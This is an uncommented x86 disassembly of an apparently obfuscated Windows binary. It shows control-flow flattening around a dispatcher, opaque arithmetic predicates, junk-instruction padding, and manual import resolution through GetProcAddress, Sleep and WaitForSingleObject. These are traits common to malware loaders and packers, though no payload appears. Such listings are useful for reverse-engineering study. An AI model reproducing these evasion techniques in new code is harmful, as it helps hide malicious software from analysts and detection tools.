mov al, byte [ebp - 0xf14]
or bl, 1
xor cl, 0xff
and cl, bl
xor dh, 0xff
xor al, 0xff
mov bl, 1
xor bl, 1
or dh, al
mov al, byte [ebp - 0xf14]
or bl, 1
xor dh, 0xff
and dh, bl
mov byte [ebp - 0xf1c], dh
mov dh, 1
xor dh, 0
mov bl, ch
xor bl, dh
and bl, ch
xor bh, 0xff
xor al, 0xff
mov dh, 1
xor dh, 1
or bh, al
mov al, byte [ebp - 0xf1c]
or dh, 1
xor bh, 0xff
and bh, dh
mov dh, cl
xor dh, 0xff
xor al, 0xff
mov byte [ebp - 0xf16], al
mov al, 1
xor al, 1
mov byte [ebp - 0xf15], al
mov al, dh
and al, 0xff
mov byte [ebp - 0xf1a], al
mov al, byte [ebp - 0xf15]
and cl, al
mov al, byte [ebp - 0xf1c]
mov byte [ebp - 0xf1b], cl
mov cl, byte [ebp - 0xf16]
and cl, 0xff
mov byte [ebp - 0xf18], cl
mov cl, byte [ebp - 0xf15]
and al, cl
mov cl, byte [ebp - 0xf1b]
mov byte [ebp - 0xf19], al
mov al, byte [ebp - 0xf1a]
or al, cl
mov cl, byte [ebp - 0xf19]
mov byte [ebp - 0xf17], al
mov al, byte [ebp - 0xf18]
or al, cl
mov cl, byte [ebp - 0xf17]
xor cl, al
mov al, byte [ebp - 0xf16]
or dh, al
mov al, byte [ebp - 0xf15]
xor dh, 0xff
or al, 1
and dh, al
mov al, byte [ebp - 0xf14]
or cl, dh
mov dh, bl
and dh, bh
xor bl, bh
or dh, bl
mov bh, cl
xor bh, 0xff
mov bl, dh
and bl, bh
xor dh, 0xff
and cl, dh
or bl, cl
mov cl, ah
and cl, ch
xor ah, ch
or cl, ah
mov dh, cl
xor dh, 0xff
and dh, 1
mov ah, 1
xor ah, 1
and cl, ah
or dh, cl
mov cl, 1
xor cl, 0
mov byte [ebp - 0xf11], cl
mov ch, al
xor ch, 0xff
mov ah, 1
xor ah, 1
and cl, 0xff
mov bh, ah
and bh, 0
mov byte [ebp - 0xf13], bh
mov bh, ch
and bh, 0xff
and al, ah
mov byte [ebp - 0xf12], al
mov al, byte [ebp - 0xf13]
or cl, al
mov al, byte [ebp - 0xf12]
or bh, al
mov al, byte [ebp - 0xf11]
xor cl, bh
or al, ch
xor al, 0xff
or ah, 1
and al, ah
or cl, al
xor dh, 0xff
xor cl, 0xff
mov al, 1
xor al, 0
or dh, cl
or al, 0
xor dh, 0xff
and dh, al
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov bh, al
and bh, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or bh, bl
or ch, dh
xor bh, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or bh, al
mov cl, bh
xor cl, 0xff
and cl, 1
mov ah, 1
xor ah, 1
mov al, bh
and al, ah
or cl, al
mov dh, 1
xor dh, 1
xor cl, 0xff
mov al, 1
xor al, 0
or dh, cl
or al, 0
xor dh, 0xff
and dh, al
mov cl, 1
xor cl, 1
and cl, 1
mov al, 1
xor al, 1
and al, 1
or cl, al
xor bh, 0xff
xor cl, 0xff
mov al, 1
xor al, 1
or bh, cl
or al, 1
xor bh, 0xff
and bh, al
mov al, dh
xor al, 0xff
mov ch, bh
xor ch, 0xff
mov cl, 1
xor cl, 0
mov ah, al
and ah, 0
and dh, cl
mov bl, ch
and bl, 0
and bh, cl
or ah, dh
mov dh, byte [ebp - 0xf10]
or bl, bh
xor ah, bl
or al, ch
xor al, 0xff
or cl, 0
and al, cl
or ah, al
mov al, 1
xor al, 0
mov ch, dh
xor ch, 0xff
mov cl, 1
xor cl, 1
or al, ch
or cl, 1
xor al, 0xff
and al, cl
mov ch, 1
xor ch, 0
and ch, 1
mov bh, 1
xor bh, 1
mov bl, bh
and bl, 0
mov cl, dh
xor cl, 0xff
and cl, 0xff
and dh, bh
or ch, bl
or cl, dh
xor ch, cl
mov cl, al
and cl, ch
xor al, ch
or cl, al
mov al, ah
xor al, 0xff
and al, 1
mov ch, 1
xor ch, 1
and ah, ch
or al, ah
mov bh, cl
xor bh, 0xff
and bh, 1
mov ah, 1
xor ah, 1
and cl, ah
or bh, cl
mov cl, 1
xor cl, 0
and cl, 1
mov ah, 1
xor ah, 1
and ah, 0
or cl, ah
mov byte [ebp - 0xf0f], cl
mov cl, al
xor cl, 0xff
mov dh, bh
xor dh, 0xff
mov ch, 1
xor ch, 0
mov ah, cl
and ah, 0
and al, ch
mov bl, dh
and bl, 0
and bh, ch
or ah, al
mov al, byte [ebp - 0xf0f]
or bl, bh
xor ah, bl
or cl, dh
xor cl, 0xff
or ch, 0
and cl, ch
or ah, cl
mov cl, al
and cl, 0
xor al, 0
or cl, al
mov al, ah
xor al, 0xff
and al, 1
mov ch, 1
xor ch, 1
and ah, ch
or al, ah
xor cl, 0xff
mov ah, al
xor ah, cl
and ah, al
mov al, dl
xor al, 0xff
mov ch, ah
xor ch, 0xff
mov cl, 1
xor cl, 0
or al, ch
or cl, 0
xor al, 0xff
and al, cl
mov ch, dl
xor ch, 0xff
mov cl, ah
and cl, ch
xor ah, 0xff
and dl, ah
or cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xfb53fb93
mov ecx, 0x1024a13a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x4b4ff5
mov ecx, dword [0x6525dc]
mov eax, dword [0x6525d8]
mov edi, 0xb0df024e
add edi, 0
add edi, 0x105d0f9d
sub edi, 0xb0df024e
add edi, 0x5f11303c
sub edi, 1
sub edi, 0x5f11303c
sub edi, 0x8125cd5f
sub edi, 0x105d0f9d
add edi, 0x8125cd5f
xor esi, esi
sub esi, 0x1aebf1fe
sub esi, ecx
add esi, 0x1aebf1fe
xor edx, edx
sub edx, 0xaad99ff2
sub edx, edi
add edx, 0xaad99ff2
add esi, 0xf3253c09
add esi, edx
sub esi, 0xf3253c09
xor edx, edx
sub edx, 0xc1fc47b
sub edx, esi
add edx, 0xc1fc47b
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete dh
cmp eax, 0xa
setl ah
mov dl, ah
xor dl, 0xff
and dl, 1
mov cl, 1
xor cl, 1
mov ch, ah
and ch, cl
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or dl, ch
or al, cl
xor dl, al
mov al, dh
xor al, 0xff
mov cl, dl
and cl, al
xor dl, 0xff
mov al, dh
and al, dl
or cl, al
mov dl, dh
xor dl, 0xff
mov al, cl
xor al, dl
and al, cl
mov byte [ebp - 0xfe0], al
mov dl, dh
xor dl, 0xff
and dl, 1
mov cl, 1
xor cl, 1
mov al, dh
and al, cl
or dl, al
xor dl, 0xff
xor dl, 0
and dl, 0
mov bl, 1
xor bl, 0
and bl, 0
mov cl, 1
xor cl, 0
mov ch, cl
and ch, 0
mov al, 1
xor al, 1
and al, 0
and cl, 1
or bl, ch
or al, cl
xor bl, al
xor dh, 0xff
mov cl, bl
xor cl, 0xff
mov al, 1
xor al, 1
or dh, cl
or al, 1
xor dh, 0xff
and dh, al
mov ch, ah
xor ch, 0xff
and ch, 1
mov bh, 1
xor bh, 1
mov al, ah
and al, bh
mov cl, 1
xor cl, 1
and cl, 0xff
and bh, 1
or ch, al
mov al, byte [ebp - 0xfe0]
or cl, bh
xor ch, cl
mov bh, 1
xor bh, 0
mov cl, ch
xor cl, bh
and cl, ch
xor ah, 0xff
xor bl, 0xff
mov ch, 1
xor ch, 0
or ah, bl
or ch, 0
xor ah, 0xff
and ah, ch
mov ch, dl
and ch, dh
xor dl, dh
or ch, dl
mov dl, cl
and dl, ah
xor cl, ah
or dl, cl
mov ah, ch
xor ah, 0xff
and ah, 1
mov dh, 1
xor dh, 1
and ch, dh
mov cl, dl
xor cl, 0xff
and cl, 0xff
and dl, dh
or ah, ch
or cl, dl
xor ah, cl
mov cl, al
xor cl, 0xff
and cl, 1
mov ch, 1
xor ch, 1
mov dh, al
and dh, ch
mov dl, 1
xor dl, 1
and dl, 0xff
and ch, 1
or cl, dh
or dl, ch
xor cl, dl
mov byte [ebp - 0xfdd], cl
mov dl, ah
xor dl, 0xff
and dl, 1
mov dh, 1
xor dh, 1
mov ch, ah
and ch, dh
or dl, ch
mov bh, 1
xor bh, 1
and bh, 1
mov ch, 1
xor ch, 1
and ch, 1
or bh, ch
mov dh, 1
xor dh, 1
mov ch, cl
xor ch, dh
and ch, cl
mov cl, bh
xor cl, 0xff
mov dh, al
xor dh, cl
and dh, al
mov cl, 1
xor cl, 1
mov al, dl
xor al, cl
and al, dl
mov bl, bh
xor bl, 0xff
mov cl, ah
xor cl, bl
and cl, ah
mov ah, ch
and ah, dh
xor ch, dh
or ah, ch
mov byte [ebp - 0xfdc], ah
mov ch, al
xor ch, 0xff
mov bl, cl
xor bl, 0xff
mov dh, 1
xor dh, 0
mov ah, ch
and ah, 0
and al, dh
mov byte [ebp - 0xfdf], al
mov al, bl
and al, 0
mov byte [ebp - 0xfde], al
mov al, byte [ebp - 0xfdf]
and cl, dh
or ah, al
mov al, byte [ebp - 0xfde]
or al, cl
mov cl, byte [ebp - 0xfdd]
xor ah, al
mov al, byte [ebp - 0xfdc]
or ch, bl
xor ch, 0xff
or dh, 0
and ch, dh
or ah, ch
mov ch, al
xor ch, 0xff
mov bl, ah
and bl, ch
xor ah, 0xff
and al, ah
or bl, al
mov al, cl
and al, dl
xor cl, dl
or al, cl
mov dh, al
xor dh, 0xff
and dh, 1
mov cl, 1
xor cl, 1
and al, cl
or dh, al
mov cl, 1
xor cl, 1
mov byte [ebp - 0xfdb], cl
mov ah, bh
xor ah, 0xff
mov dl, 1
xor dl, 1
and cl, 0xff
mov al, dl
and al, 1
mov ch, ah
and ch, 0xff
and bh, dl
or cl, al
mov al, byte [ebp - 0xfdb]
or ch, bh
xor cl, ch
or al, ah
xor al, 0xff
or dl, 1
and al, dl
or cl, al
xor dh, 0xff
xor cl, 0xff
mov al, 1
xor al, 0
or dh, cl
or al, 0
xor dh, 0xff
and dh, al
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xa0f2def0
mov ecx, 0xef829c72
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x4b4ff5
mov dword [ebp - 0x1a8], 0xf9063518
jmp 0x4b4ff5
mov eax, dword [ebp - 0x1a0]
mov eax, dword [eax]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1a8], 0xe419a663
jmp 0x4b4ff5
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x108c], eax
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.005e3af0
mov eax, dword [ebp - 0x108c]
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov dword [ebp - 0x1a8], 0xa9c2a543
jmp 0x4b4ff5
mov eax, dword [ebp - 0x180]
mov eax, dword [ebp - 0x190]
mov dword [ebp - 0x1a8], 0xee51f928
jmp 0x4b4ff5
mov eax, dword [ebp - 0x15c]
mov dword [ebp - 0x1a8], 0x48e341f9
jmp 0x4b4ff5
mov eax, dword [ebp - 0x144]
mov eax, dword [ebp - 0x140]
mov dword [ebp - 0x1a8], 0xc5031551
jmp 0x4b4ff5
mov eax, dword [ebp - 0x13c]
mov ecx, dword [ebp - 0x80]
mov dword [eax], ecx
mov eax, dword [ebp - 0x144]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x140]
mov ecx, dword [ecx]
mov eax, dword [eax + ecx*4]
movzx eax, ax
mov ecx, dword [ebp - 0x148]
mov ecx, dword [ecx]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, eax
mov eax, dword [ebp - 0x138]
mov dword [eax], ecx
mov eax, dword [ebp - 0x138]
mov dword [ebp - 0x1a8], 0xb29e3932
jmp 0x4b4ff5
mov eax, dword [ebp - 0x138]
mov eax, dword [ebp - 0x180]
mov eax, dword [ebp - 0x154]
mov eax, dword [ebp - 0x150]
mov dword [ebp - 0x1a8], 0x8ca58134
jmp 0x4b4ff5
mov dword [ebp - 0x1a8], 0x8960bf39
jmp 0x4b4ff5
mov edx, 0x8e
imul ebx
dec esi
inc eax
mov edx, 0x2f
not ebx
bswap esi
inc ebx
not eax
neg edi
mov edx, 0x50
inc edi
not edi
sub ebx, 0xb8
rcl eax, 0xe8
and ebx, 0xdf
dec eax
sub ebx, 0xbb
mov esi, 0xae
dec edx
mov esi, 0xde
not edx
or edi, 0x46
inc esi
neg ebx
ror esi, 0xa5
mov eax, 0xc9
mov ebx, 0x3d
not edi
dec edi
imul eax
add esi, 0xeb
imul esi
inc edi
mov edx, 0
neg esi
bswap eax
not edi
inc edx
add edi, 0x8c
inc edx
neg eax
rcr ebx, 0x76
imul ebx
or edi, 0xe3
inc eax
add eax, 0xe4
not eax
inc edi
not ebx
dec eax
not eax
neg edi
not edx
sbb esi, 0x88
add edx, 0xf1
rcl edi, 0xf
mov edi, 0x6b
imul ebx
sub edx, 0xc
not esi
rol esi, 0xed
not eax
imul esi
not edi
rol edi, 0xcf
ror eax, 2
dec ebx
neg edx
add eax, 0x8b
ror edi, 0xe2
neg eax
ror ebx, 0xd9
not eax
rcr edi, 0xfa
imul edx
and edx, 0xc0
not edi
rcl eax, 0xb3
rcl esi, 0xfa
sbb edx, 0x38
imul eax
add edx, 0xc0
not esi
bswap edx
rol edx, 0x1b
dec ebx
rol ebx, 0xee
bswap edx
sbb esi, 0xe6
neg edi
neg edi
inc esi
rcl esi, 0xee
imul edi
neg eax
sub ebx, 0x9e
ror edi, 0xb2
not edi
or edx, 0xb9
inc eax
dec esi
sbb edx, 0x5c
rcr eax, 1
sbb eax, 0x42
bswap ebx
or edi, 0xb9
neg edi
sub edi, 0x3d
rol esi, 0x5c
not esi
sub esi, 0xdc
sub eax, 0x7d
imul edx
neg edx
or esi, 0xda
sbb eax, 0x9f
inc ebx
dec ebx
dec edx
sbb edi, 0x77
inc eax
bswap eax
and edi, 0xb0
not edi
imul edx
neg ebx
neg ebx
dec edx
bswap esi
bswap esi
add esi, 0x58
imul esi
add edi, 0xac
imul edi
neg edx
neg edx
not ebx
add esi, 0xa8
dec esi
dec eax
and edi, 0xc1
rol edx, 0x38
sbb esi, 0x79
or eax, 0x7d
sub ebx, 0xf5
add eax, 0xf5
not edx
sub esi, 0xc7
sbb edx, 0x68
mov ecx, eax
mov eax, dword [ebp - 0x1a0]
mov dword [eax], ecx
mov dword [ebp - 0x1a8], 0x6a6fd87
jmp 0x4b4ff5
mov eax, dword [ebp - 0x178]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x130]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov ecx, dword [eax + 0x24]
mov eax, dword [ebp - 0x128]
mov dword [eax], ecx
mov eax, dword [ebp - 0x128]
mov dword [ebp - 0x1a8], 0x5473e378
jmp 0x4b4ff5
mov eax, dword [ebp - 0x128]
mov dword [ebp - 0x1a8], 0xda880c41
jmp 0x4b4ff5
mov eax, dword [ebp - 0x5c]
mov dword [ebp - 0x1a8], 0x377e36a1
jmp 0x4b4ff5
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x34]
mov esi, dword [ebp - 0x38]
mov eax, dword [ebp - 0x34]
xor ecx, ecx
sub ecx, 0xdd9dbf
add ecx, 0
sub esi, 0x39ba08c7
sub esi, ecx
add esi, 0x39ba08c7
xor ecx, ecx
sub ecx, 0xdf24a332
add esi, ecx
add esi, 0x94d1d61d
add esi, eax
sub esi, 0x94d1d61d
xor eax, eax
sub eax, 0xdf24a332
sub esi, eax
add esi, 0xdc1b3d11
sub esi, 0x81d5c358
sub esi, 0xdc1b3d11
add esi, 0x54026aff
sub esi, 0xdd9dbf
sub esi, 0x54026aff
sub esi, 0xec7a28f
add esi, 0x81d5c358
add esi, 0xec7a28f
mov eax, dword [ebp - 0x134]
mov ecx, dword [ebp - 0x40]
mov edx, dword [ebp - 0x3c]
sub esp, 0x10
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
call fcn.00477e90
add esp, 0x10
mov dword [ebp - 0x1a8], 0xd81b1200
jmp 0x4b4ff5
sub esp, 4
mov dword [esp], 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x118]
mov dword [ebp - 0x1a8], 0xf644d4e2
jmp 0x4b4ff5
mov ecx, dword [ebp - 0x10c]
mov eax, dword [ebp - 0x18]
mov edx, dword [ecx]
mov dword [eax], edx
mov ecx, dword [ecx + 4]
mov dword [eax + 4], ecx
mov dword [ebp - 0x1a8], 0xef829c72
jmp 0x4b4ff5
mov eax, dword [ebp - 0x108]
mov eax, dword [eax]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0xffffffff
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [ebp - 0x1a8], 0x14b1e5bb
jmp 0x4b4ff5
jmp 0x47ac2e